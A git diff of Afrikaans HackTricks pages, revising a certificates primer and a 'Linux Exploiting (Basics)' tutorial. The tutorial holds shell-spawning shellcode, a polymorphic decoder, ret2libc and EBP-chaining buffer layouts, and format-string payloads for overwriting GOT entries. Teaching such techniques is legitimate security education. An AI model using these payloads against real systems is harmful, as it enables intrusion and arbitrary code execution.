* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
@ -35,7 +35,7 @@ Sertifikate word meestal uitgereik deur [sertifikaatowerhede](https://en.wikiped
In x509 sertifikate speel verskeie **velde** kritieke rolle om die sertifikaat se geldigheid en veiligheid te verseker. Hier is 'n uiteensetting van hierdie velde:
* Die **Weergawe Nommer** dui die weergawe van die x509-formaat aan.
* Die **Serienommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingstracking.
* Die **Serienommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingopsporing.
* Die **Onderwerp** veld verteenwoordig die sertifikaat se eienaar, wat 'n masjien, 'n individu, of 'n organisasie kan wees. Dit sluit gedetailleerde identifikasie in soos:
* **Gemeenskaplike Naam (CN)**: Domeine wat deur die sertifikaat gedek word.
* **Land (C)**, **Lokaliteit (L)**, **Staat of Provinsie (ST, S, of P)**, **Organisasie (O)**, en **Organisasie-eenheid (OU)** verskaf geografiese en organisatoriese besonderhede.
@ -49,9 +49,9 @@ In x509 sertifikate speel verskeie **velde** kritieke rolle om die sertifikaat s
* **Sleutelgebruik** identifiseer kriptografiese toepassings van die openbare sleutel, soos digitale handtekening of sleutelversleuteling.
* **Uitgebreide Sleutelgebruik** versmalle verder die sertifikaat se gebruike, bv. vir TLS-bedienerverifikasie.
* **Onderwerp Alternatiewe Naam** en **Basiese Beperking** definieer addisionele gasheernaam wat deur die sertifikaat gedek word en of dit 'n CA- of eindentiteit-sertifikaat is, onderskeidelik.
* **Onderwerp Alternatiewe Naam** en **Basiese Beperking** definieer addisionele gasheernaam wat deur die sertifikaat gedek word en of dit 'n CA- of eindentiteitsertifikaat is, onderskeidelik.
* Identifiseerders soos **Onderwerp Sleutelidentifiseerder** en **Uitreiker Sleutelidentifiseerder** verseker uniekheid en naspeurbaarheid van sleutels.
* **Gesag Inligting Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en sertifikaatherroepingstatus te kontroleer.
* **Uitreikerinligtings Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en sertifikaatherroepingsstatus te kontroleer.
* **CT Voor-sertifikaat SCT's** bied deursigtigheidslêers, krities vir openbare vertroue in die sertifikaat.
```python
# Example of accessing and using x509 certificate fields programmatically:
@ -74,59 +74,59 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Verskil tussen OCSP en CRL-verspreidingspunte**
### **Verskil tussen OCSP en CRL Verspreidingspunte**
**OCSP** (**RFC 2560**) behels 'n kliënt en 'n reageerder wat saamwerk om te kontroleer of 'n digitale openbare sleutel-sertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is doeltreffender as die tradisionele **CRL**, wat 'n lys van herroepingsertifikaat serienommers verskaf, maar vereis dat 'n potensieel groot lêer afgelaai word. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
**OCSP** (**RFC 2560**) behels 'n kliënt en 'n reageerder wat saamwerk om te kontroleer of 'n digitale openbare sleutel sertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is meer doeltreffend as die tradisionele **CRL**, wat 'n lys van herroepingsertifikaat serienommers verskaf, maar vereis die aflaai van 'n moontlik groot lêer. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Wat is Sertifikaatdeursigtigheid**
### **Wat is Sertifikaat Deursigtigheid**
Sertifikaatdeursigtigheid help om sertifikaatverwante bedreigings te beveg deur te verseker dat die uitreiking en bestaan van SSL-sertifikate sigbaar is vir domeineienaars, CA's en gebruikers. Die doelstellings is:
Sertifikaat Deursigtigheid help om sertifikaat-verwante bedreigings te beveg deur te verseker dat die uitreiking en bestaan van SSL-sertifikate sigbaar is vir domein-eienaars, CA's, en gebruikers. Die doelstellings is:
* Voorkoming dat CA's SSL-sertifikate vir 'n domein uitreik sonder die domeineienaar se kennis.
* Voorkoming dat CA's SSL-sertifikate vir 'n domein uitreik sonder die domein-eienaar se kennis.
* Daarstel van 'n oop ouditeringstelsel vir die opsporing van per abuis of booswillig uitgereikte sertifikate.
* Beskerming van gebruikers teen valse sertifikate.
#### **Sertifikaatlogs**
#### **Sertifikaat Logboeke**
Sertifikaatlogs is openbaar ouditeerbare, net-byvoegbare rekords van sertifikate, onderhou deur netwerkdienste. Hierdie logs verskaf kriptografiese bewyse vir ouditeringsdoeleindes. Beide uitreikingsowerhede en die publiek kan sertifikate na hierdie logs indien of dit vir verifikasie ondersoek. Alhoewel die presiese aantal logbedieners nie vas is nie, word verwag dat dit wêreldwyd minder as 'n duisend sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, internetdiensverskaffers, of enige belanghebbende entiteit.
Sertifikaat logboeke is openlik ouditeerbare, net-byvoegbare rekords van sertifikate, onderhou deur netwerkdienste. Hierdie logboeke verskaf kriptografiese bewyse vir ouditeringsdoeleindes. Uitreikingsowerhede en die publiek kan sertifikate na hierdie logboeke indien of navraag daaroor doen vir verifikasie. Alhoewel die presiese aantal logbedieners nie vas is nie, word verwag dat dit wêreldwyd minder as 'n duisend sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, ISP's, of enige belanghebbende entiteit.
#### **Navraag**
Om Sertifikaatdeursigtigheidlogs vir enige domein te ondersoek, besoek [https://crt.sh/](https://crt.sh).
Om Sertifikaat Deursigtigheid logboeke vir enige domein te ondersoek, besoek [https://crt.sh/](https://crt.sh).
Verskillende formate bestaan vir die stoor van sertifikate, elk met sy eie gebruike en verenigbaarheid. Hierdie opsomming dek die hoofformate en bied leiding oor die omskakeling tussen hulle.
Verskillende formate bestaan vir die stoor van sertifikate, elk met sy eie gebruike en verenigbaarheid. Hierdie opsomming dek die hoof formate en bied leiding oor die omskakeling tussen hulle.
## **Formate**
### **PEM-formaat**
### **PEM Formaat**
* Mees algemeen gebruikte formaat vir sertifikate.
* Vereis aparte lêers vir sertifikate en privaatsleutels, gekodeer in Base64 ASCII.
* Gewone uitbreidings: .cer, .crt, .pem, .key.
* Primêr gebruik deur Apache en soortgelyke bedieners.
### **DER-formaat**
### **DER Formaat**
* 'n Binêre formaat van sertifikate.
* Ontbreek die "BEGIN/END CERTIFICATE" verklarings wat in PEM-lêers gevind word.
* Ontbreek die "BEGIN/END SERTIFIKAAT" verklarings wat in PEM lêers gevind word.
* Gewone uitbreidings: .cer, .der.
* Dikwels gebruik met Java-platforms.
* Dikwels gebruik met Java platforms.
### **P7B/PKCS#7-formaat**
### **P7B/PKCS#7 Formaat**
* Gestoor in Base64 ASCII, met uitbreidings .p7b of .p7c.
* Bevat slegs sertifikate en kettingsertifikate, sonder die privaatsleutel.
* Bevat slegs sertifikate en kettingsertifikate, met uitsluiting van die privaatsleutel.
* Ondersteun deur Microsoft Windows en Java Tomcat.
### **PFX/P12/PKCS#12-formaat**
### **PFX/P12/PKCS#12 Formaat**
* 'n Binêre formaat wat bedienersertifikate, intermediêre sertifikate, en privaatsleutels in een lêer inkapsuleer.
* Uitbreidings: .pfx, .p12.
* Hoofsaaklik gebruik op Windows vir sertifikaatinvoer en -uitvoer.
* Hoofsaaklik gebruik op Windows vir sertifikaat invoer en uitvoer.
### **Omskakeling van Formate**
**PEM-omskakelings** is noodsaaklik vir verenigbaarheid:
**PEM omskakelings** is noodsaaklik vir verenigbaarheid:
* **x509 na PEM**
```bash
@ -174,11 +174,11 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
```
***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -188,9 +188,9 @@ Kry Vandaag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -1,4 +1,4 @@
# Linux Exploiting (Basies) (SPA)
# Linux Uitbuiting (Basies) (SPA)
<details>
@ -14,39 +14,21 @@ Ander maniere om HackTricks te ondersteun:
</details>
## **1.STACK OVERFLOWS**
> buffer overflow, buffer overrun, stack overrun, stack smashing
Fallo de segmentación o violación de segmento: Wanneer daar gepoog word om toegang te verkry tot 'n adres van geheue wat nie aan die proses toegewys is nie.
Om die adres van 'n funksie binne 'n program te verkry, kan jy dit doen:
```
objdump -d ./PROGRAMA | grep FUNCION
```
## ROP
### Oproep na sys\_execve
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
## **2.SHELLCODE**
Bekyk kernelonderbrekings: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
Sien kernel-onderbrekings: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; skoonmaak eax\
xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra nie\
xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Voer syscall uit
**nasm -f elf assembly.asm** —> Gee ons 'n .o terug\
**ld assembly.o -o shellcodeout** —> Gee ons 'n uitvoerbare lêer wat deur die saamgestelde kode gevorm word en ons kan die opkodes met **objdump** kry\
**ld assembly.o -o shellcodeout** —> Gee ons 'n uitvoerbare lêer wat deur die samestellerkode gevorm is en ons kan die opkodes met **objdump** kry\
**objdump -d -Mintel ./shellcodeout** —> Om te sien dat dit werklik ons shellcode is en om die OpCodes te kry
**Bevestig dat die shellcode werk**
@ -61,7 +43,7 @@ fp();
```
Om te sien of die stelseloproepe korrek uitgevoer word, moet die vorige program gekompileer word en die stelseloproepe moet verskyn in **strace ./GEKOMPILIEERDE_PROGRAM**
Wanneer jy shellkodes skep, kan jy 'n truuk gebruik. Die eerste instruksie is 'n sprong na 'n oproep. Die oproep roep die oorspronklike kode aan en sit ook die EIP in die stapel. Na die oproepinstruksie het ons die string ingevoeg wat ons nodig het, sodat ons met daardie EIP na die string kan wys en ook kan aanhou om die kode uit te voer.
Met die skep van shellkodes kan 'n truuk uitgevoer word. Die eerste instruksie is 'n sprong na 'n oproep. Die oproep roep die oorspronklike kode aan en plaas ook die EIP in die stapel. Na die oproepinstruksie het ons die string ingevoeg wat ons nodig het, sodat ons met daardie EIP na die string kan wys en ook kan voortgaan om die kode uit te voer.
EJ **TRUCO (/bin/sh)**:
```
@ -117,7 +99,7 @@ Dit behels 'n klein kode wat die geheuebladsye van 'n proses deursoek op soek na
**Polimorfiese shellkodes**
Dit is versleutelde skulpe met 'n klein kodes wat dit ontsluit en daarna daarna spring, deur die Call-Pop-truuk te gebruik, sou dit 'n **versleutelde Caesar-voorbeeld** wees:
Dit is versleutelde skulpe met 'n klein kode wat dit ontsluit en daarna daarna spring, deur die Call-Pop-truuk te gebruik, sou dit 'n **versleutelde Caesar-voorbeeld** wees:
```
global _start
_start:
@ -136,123 +118,41 @@ call init
sc:
;Aquí va el shellcode
```
1. **Aanval op die Raam-aanwyser (EBP)**
Nuttig in 'n situasie waar ons die EBP kan wysig maar nie die EIP nie.
Dit is bekend dat die volgende assamblierkode uitgevoer word wanneer 'n funksie verlaat word:
```
movl %ebp, %esp
popl %ebp
ret
```
Op hierdie manier kan die EBP gewysig word wanneer 'n funksie (fvuln) wat deur 'n ander funksie geroep is, verlaat word, sodat wanneer die funksie wat fvuln geroep het, klaar is, kan sy EIP gewysig word.
In fvuln kan 'n vals EBP ingevoer word wat na 'n plek wys waar die adres van die shellcode + 4 is (4 moet bygevoeg word vir die pop). Op hierdie manier, wanneer die funksie verlaat word, sal die waarde van &(\&Shellcode)+4 in ESP ingevoer word, met die pop sal 4 van ESP afgetrek word en dit sal na die adres van die shellcode wys wanneer die ret uitgevoer word.
**Exploit:**\
\&Shellcode + "AAAA" + SHELLCODE + padding + &(\&Shellcode)+4
**Off-by-One Exploit**\
Dit maak dit moontlik om net die minst betekenisvolle byte van die EBP te wysig. 'n Aanval soos die vorige kan uitgevoer word, maar die geheue wat die adres van die shellcode berg, moet die eerste 3 byte deel met die EBP.
## **4. Metodes terug na Libc**
'n Nuttige metode wanneer die stapel nie uitvoerbaar is nie of 'n baie klein buffer oorlaat om te wysig.
ASLR veroorsaak dat funksies in elke uitvoering op verskillende plekke in die geheue gelaai word. Daarom mag hierdie metode nie effektief wees in daardie geval nie. Vir afgeleë bedieners, aangesien die program konstant in dieselfde rigting uitgevoer word, kan dit nuttig wees.
* **cdecl(C declaration)** Plaas die argumente op die stapel en skoon die stapel nadat die funksie verlaat is
* **stdcall(standard call)** Plaas die argumente op die stapel en dit is die geroepte funksie wat dit skoonmaak
* **fastcall** Plaas die eerste twee argumente in register en die res op die stapel
Die adres van die system-instruksie van libc word ingevoer en die string "/bin/sh" word as argument deurgegee, gewoonlik vanaf 'n omgewingsveranderlike. Daarbenewens word die adres van die exit-funksie gebruik sodat wanneer die skil nie meer benodig word nie, sal die program sonder probleme afsluit (en logboeke skryf).
**export SHELL=/bin/sh**
Om die benodigde adresse te vind, kan jy binne **GDB** kyk:\
**p system**\
**p exit**\
**rabin2 -i uitvoerbare lêer** —> Gee die adresse van al die funksies wat die program gebruik wanneer dit gelaai word\
(Binne 'n begin of enige onderbreking): **x/500s $esp** —> Soek binne hierdie die string /bin/sh
Sodra hierdie adresse het, sal die **exploit** so lyk:
“A” \* EBP AFSTAND + 4 (EBP: dit kan 4 "A"s wees, alhoewel dit beter is as dit die werklike EBP is om segmenteringsfoute te voorkom) + Adres van **system** (sal die EIP oorskryf) + Adres van **exit** (wanneer system("/bin/sh") verlaat word, sal hierdie funksie geroep word omdat die eerste 4 byte van die stapel as die volgende EIP-adres om uit te voer, hanteer word) + Adres van “**/bin/sh**” (sal die parameter wees wat aan system oorgedra word)
Op hierdie manier sal die EIP oorskryf word met die adres van system wat die string "/bin/sh" as parameter sal ontvang en wanneer dit verlaat word, sal die exit()-funksie uitgevoer word.
Dit is moontlik dat 'n byte van 'n adres van 'n funksie nul of 'n spatie (\x20) is. In daardie geval kan die vorige adresse ontleed word omdat daar waarskynlik verskeie NOP's is wat ons in staat stel om een van hulle te roep in plaas van die funksie direk (byvoorbeeld met > x/8i system-4).
Hierdie metode werk omdat wanneer 'n funksie soos system geroep word deur die opcode **ret** in plaas van **call** te gebruik, verstaan die funksie dat die eerste 4 byte die **EIP**-adres is waarna teruggekeer moet word.
'n Interessante tegniek met hierdie metode is om **strncpy()** te roep om 'n lading van die stapel na die heap te skuif en daarna **gets()** te gebruik om hierdie lading uit te voer.
'n Ander interessante tegniek is die gebruik van **mprotect()** wat toelaat dat die gewenste regte aan enige deel van die geheue toegewys word. Dit werk of het gewerk in BDS, MacOS en OpenBSD, maar nie in Linux (beheer dat skryf- en uitvoeringsregte nie gelyktydig toegestaan kan word nie). Met hierdie aanval kan die stapel weer as uitvoerbaar ingestel word.
**Funksieketting**
Gebaseer op die vorige tegniek, bestaan hierdie exploiteermetode uit:\
Vulling + \&Funksie1 + \&pop;ret; + \&arg\_fun1 + \&Funksie2 + \&pop;ret; + \&arg\_fun2 + …
Op hierdie manier kan funksies aanmekaar geketting word om op te roep. Daarbenewens, as funksies met verskeie argumente gebruik wil word, kan die nodige argumente (bv. 4) geplaas word en die 4 argumente ingevoer word en die adres na 'n plek met opcodes soek: pop, pop, pop, pop, ret —> **objdump -d uitvoerbare lêer**
**Ketting deur valse raamwerke (EBP-ketting)**
Dit behels die benutting van die vermoë om die EBP te manipuleer om die uitvoering van verskeie funksies deur die EBP en "leave;ret" te ketting.
VULLING
* Plaas 'n vals EBP wat wys na: 2de vals EBP + die funksie om uit te voer: (\&system() + \&leave;ret + &“/bin/sh”)
* Plaas die adres van 'n funksie &(leave;ret) in die EIP
Begin die shellcode met die adres na die volgende deel van die shellcode, byvoorbeeld: 2de vals EBP + \&system() + &(leave;ret;) + &”/bin/sh”
die 2de EBP sal wees: 3de vals EBP + \&system() + &(leave;ret;) + &”/bin/ls”
Hierdie shellcode kan onbeperk herhaal word in die geheue dele waar toegang tot verkry word sodat 'n shellcode maklik deur klein stukke geheue verdeel kan word.
(Die uitvoering van funksies word geketting deur die vorige gesien kwesbaarhede van EBP en ret2lib)
## **5. Aanvullende metodes**
## **5. Aanvullende Metodes**
**Ret2Ret**
Nuttig wanneer 'n adres van die stapel nie in die EIP ingevoer kan word nie (dit word geverifieer dat die EIP nie 0xbf bevat nie) of wanneer die ligging van die shellcode nie bereken kan word nie. Maar, die kwesbare funksie aanvaar 'n parameter (die shellcode sal hier wees).
Nuttig wanneer 'n adres van die stapel nie in die EIP ingevoer kan word (dit word geverifieer dat die EIP nie 0xbf bevat nie) of wanneer die ligging van die shellcode nie bereken kan word nie. Maar, die kwesbare funksie aanvaar 'n parameter (die shellcode sal hier gaan).
Op hierdie manier, deur die EIP te verander na 'n adres van 'n **ret**, sal die volgende adres gelaai word (wat die adres van die eerste argument van die funksie is). Met ander woorde, die shellcode sal gelaai word.
Die exploit sal wees: SHELLCODE + Vulling (tot by EIP) + **\&ret** (die volgende byte van die stapel wys na die begin van die shellcode omdat die adres van die oorgedraaide parameter in die stapel ingevoer word)
Die uitbuiting sal wees: SHELLCODE + Vul (tot by EIP) + **\&ret** (die volgende bytes van die stapel wys na die begin van die shellcode omdat die adres van die oorgedraagde parameter in die stapel ingevoer word)
Dit blyk dat funksies soos **strncpy** sodra voltooi is, die adres waar die shellcode gestoor was, van die stapel verwyder en hierdie tegniek onmoontlik maak. Met ander woorde, die adres wat as argument aan die funksie oorgedra word (wat die shellcode berg) word gewysig deur 'n 0x00 sodat wanneer die tweede **ret** geroep word, dit 'n 0x00 vind en die program sterf.
```
**Ret2PopRet**
```
Indien ons nie beheer het oor die eerste argument nie, maar wel oor die tweede of derde, kan ons EIP oorskryf met 'n adres na pop-ret of pop-pop-ret, afhangende van wat ons nodig het.
Dit blyk dat funksies soos **strncpy** eenmaal voltooi die adres waar die shellcode gestoor was van die stapel verwyder, wat hierdie tegniek onmoontlik maak. Met ander woorde, die adres wat aan die funksie as argument oorgedra word (die een wat die shellcode stoor) word verander deur 'n 0x00 sodat wanneer die tweede **ret** geroep word, dit 'n 0x00 vind en die program sterf.
**Murat se Tegniek**
**Murat Tegniek**
In Linux word alle programme afgebeeld beginnende by 0xbfffffff.
In Linux word alle programme afgebeeld beginnende by 0xbfffffff
Deur te kyk hoe die stapel van 'n nuwe proses in Linux opgebou word, kan 'n uitbuit ontwikkel word sodat die program in 'n omgewing begin word waarvan die enigste veranderlike die shellcode is. Die adres daarvan kan dan bereken word as: addr = 0xbfffffff - 4 - strlen(VOLLEDIGE_UITVOERBARE_NAAM) - strlen(shellcode)
Deur te kyk hoe die stapel van 'n nuwe proses in Linux opgebou word, kan 'n uitbuiting ontwikkel word sodat die program in 'n omgewing begin word waarvan die enigste veranderlike die shellcode is. Die adres hiervan kan dan bereken word as: addr = 0xbfffffff - 4 - strlen(VOLLEDIGE\_uitvoerbare\_NAAM) - strlen(shellcode)
Op hierdie manier kan die adres waar die omgewingsveranderlike met die shellcode is, maklik verkry word.
Dit kan gedoen word omdat die execle-funksie 'n omgewing kan skep wat net die gewenste omgewingsveranderlikes het.
Dit kan gedoen word omdat die execle-funksie toelaat om 'n omgewing te skep wat net die gewenste omgewingsveranderlikes het.
**Spring na ESP: Windows-styl**
Omdat ESP altyd na die begin van die stapel wys, behels hierdie tegniek om die EIP te vervang met 'n adres na 'n oproep na **jmp esp** of **call esp**. Op hierdie manier word die shellcode gestoor ná die oorskrywing van die EIP, aangesien na die uitvoering van die **ret** ESP sal wys na die volgende adres, presies waar die shellcode gestoor is.
Omdat die ESP altyd na die begin van die stapel wys, behels hierdie tegniek om die EIP te vervang met die adres van 'n oproep na **jmp esp** of **call esp**. Op hierdie manier word die shellcode gestoor na die oorskrywing van die EIP aangesien na die uitvoering van die **ret** sal die ESP na die volgende adres wys, presies waar die shellcode gestoor is.
Indien ASLR nie geaktiveer is in Windows of Linux nie, kan **jmp esp** of **call esp** geroep word wat gestoor is in 'n gedeelde voorwerp. Indien ASLR wel aktief is, kan binne die kwesbare program self gesoek word.
Indien ASLR nie aktief is in Windows of Linux nie, kan **jmp esp** of **call esp** opgeroep word wat in 'n gedeelde objek gestoor is. Indien ASLR aktief is, kan binne die kwesbare program self gesoek word.
Verder, die feit dat die shellcode na die korrupsie van die EIP geplaas kan word eerder as in die middel van die stapel, maak dit moontlik dat die push- of pop-instruksies wat in die middel van die funksie uitgevoer word, nie die shellcode sal raak nie (iets wat kon gebeur as dit in die middel van die stapel van die funksie geplaas word).
Verder, die feit dat die shellcode na die korruptering van die EIP geplaas kan word in plaas van in die middel van die stapel, maak dit moontlik dat die push- of pop-instruksies wat in die middel van die funksie uitgevoer word, nie die shellcode sal raak nie (iets wat kan gebeur as dit in die middel van die stapel van die funksie geplaas word).
Baie soortgelyk hieraan, as ons weet dat 'n funksie die adres waar die shellcode gestoor is, teruggee, kan **call eax** of **jmp eax (ret2eax)** geroep word.
Op 'n baie soortgelyke manier, as ons weet dat 'n funksie die adres waar die shellcode gestoor is teruggee, kan **call eax** of **jmp eax (ret2eax)** geroep word.
**Heeltal-oorvloeiings**
Hierdie tipe oorvloeiings vind plaas wanneer 'n veranderlike nie gereed is om 'n so groot getal te hanteer soos wat aan hom oorgedra word nie, moontlik as gevolg van 'n verwarring tussen veranderlikes met en sonder teken, byvoorbeeld:
Hierdie tipe oorvloeiings vind plaas wanneer 'n veranderlike nie gereed is om 'n so groot getal te hanteer wat aan dit oorgedra word nie, moontlik as gevolg van 'n verwarring tussen veranderlikes met en sonder teken, byvoorbeeld:
```c
#include <stdion.h>
#include <string.h>
@ -281,91 +181,23 @@ In die vorige voorbeeld sien ons dat die program verwag dat 2 parameters ingevoe
As ons 'n negatiewe getal as die eerste parameter invoer, sal dit aandui dat len < 256 en sal ons daardie filter omseil, en ook sal strlen(buffer) kleiner wees as l, aangesien l 'n ondertekenende int is en baie groot sal wees.
Hierdie tipe oorvloeiings poog nie om iets in die proses van die program te skryf nie, maar om sleg ontwerpte filters te omseil om ander kwesbaarhede te benut.
Hierdie tipe oorvloeiings probeer nie om iets in die proses van die program te skryf nie, maar om sleg ontwerpte filters te omseil om ander kwesbaarhede te benut.
**Ongeïnitialiseerde veranderlikes**
Dit is onbekend watter waarde 'n ongeïnitialiseerde veranderlike kan aanneem en dit kan interessant wees om dit te monitor. Dit kan gebeur dat dit die waarde aanneem wat 'n veranderlike van die vorige funksie aangeneem het en dit deur die aanvaller beheer word.
Dit is onbekend watter waarde 'n ongeïnitialiseerde veranderlike kan aanneem en dit kan interessant wees om dit te ondersoek. Dit kan gebeur dat dit die waarde aanneem wat 'n veranderlike van die vorige funksie aangeneem het en dat dit deur die aanvaller beheer word.
## **Formaat Strings**
##
In C is **`printf`** 'n funksie wat gebruik kan word om 'n string af te druk. Die **eerste parameter** wat hierdie funksie verwag, is die **rou teks met die formateerders**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formateerders** van die rou teks te **vervang**.
###
Die kwesbaarheid kom na vore wanneer 'n **aanvallersteks as die eerste argument** aan hierdie funksie voorsien word. Die aanvaller sal in staat wees om 'n **spesiale inset te skep wat die printf-formaatstringvermoëns misbruik om enige data na enige adres te skryf**. Op hierdie manier kan hulle **arbitrêre kode uitvoer**.
###
Formateerders:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`** skryf die aantal geskryfde bytes in die aangeduide adres. Om enige data te skryf, skryf soveel bytes as die heksadesimale nommer wat ons moet skryf.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
### GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
Dit is die tabel wat die **adres** na die **eksterne funksies** bevat wat deur die program gebruik word.
Kry die adres na hierdie tabel met: **`objdump -s -j .got ./exec`**
![](<../../.gitbook/assets/image (619).png>)
Let op hoe na die **laai** van die **uitvoerbare lêer** in GEF jy die **funksies** kan **sien** wat in die **GOT** is: `gef➤ x/20x 0xDIR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
Met GEF kan jy 'n **foutopsporing** sessie begin en **`got`** uitvoer om die got-tabel te sien:
![](<../../.gitbook/assets/image (621).png>)
In 'n binêre lêer het die GOT die **adresse na die funksies of** na die **PLT**-afdeling wat die funksie-adres sal laai. Die doel van hierdie uitbuiting is om die **GOT-inskrywing te oorskryf** van 'n funksie wat later uitgevoer gaan word **met** die **adres** van die PLT van die **`system`** **funksie**. Ideaal gesproke, sal jy die **GOT** van 'n **funksie** oorskryf wat **later geroep gaan word met parameters wat deur jou beheer word** (sodat jy die parameters wat na die stelsel-funksie gestuur word, kan beheer).
As **`system`** **nie deur die skrip gebruik word nie**, sal die stelsel-funksie **nie 'n inskrywing in die GOT hê nie**. In hierdie scenario sal jy **eerstens die adres moet lek** van die `system`-funksie.
**Procedure Linkage Table** is 'n **lees net** tabel in 'n ELF-lêer wat al die nodige **simbole wat 'n oplossing benodig** stoor. Wanneer een van hierdie funksies geroep word, sal die **GOT** die **vloei** na die **PLT** omskakel sodat dit die **adres** van die funksie kan **oplos** en dit op die GOT kan skryf.\
Dan, die **volgende keer** wat 'n oproep na daardie adres uitgevoer word, word die **funksie** **direk geroep** sonder om dit op te los.
Jy kan die PLT-adresse sien met **`objdump -j .plt -d ./vuln_binary`**
### **Uitbuiting Vloei**
Soos voorheen verduidelik, gaan die doel wees om die **adres** van 'n **funksie** in die **GOT**-tabel wat later geroep gaan word, te **oor skryf**. Ideaal gesproke kan ons die **adres na 'n shell-kode** wat in 'n uitvoerbare afdeling geleë is, instel, maar dit is baie waarskynlik dat jy nie 'n shell-kode in 'n uitvoerbare afdeling kan skryf nie.\
Dus 'n ander opsie is om 'n **funksie** wat sy **argumente** van die **gebruiker ontvang** te **oor skryf** en dit na die **`system`** **funksie** te verwys.
Om die adres te skryf, word gewoonlik 2 stappe gedoen: Jy **skryf eers 2Grepe** van die adres en dan die ander 2. Om dit te doen word **`$hn`** gebruik.
**HOB** word genoem na die 2 hoër grepe van die adres\
**LOB** word genoem na die 2 laer grepe van die adres
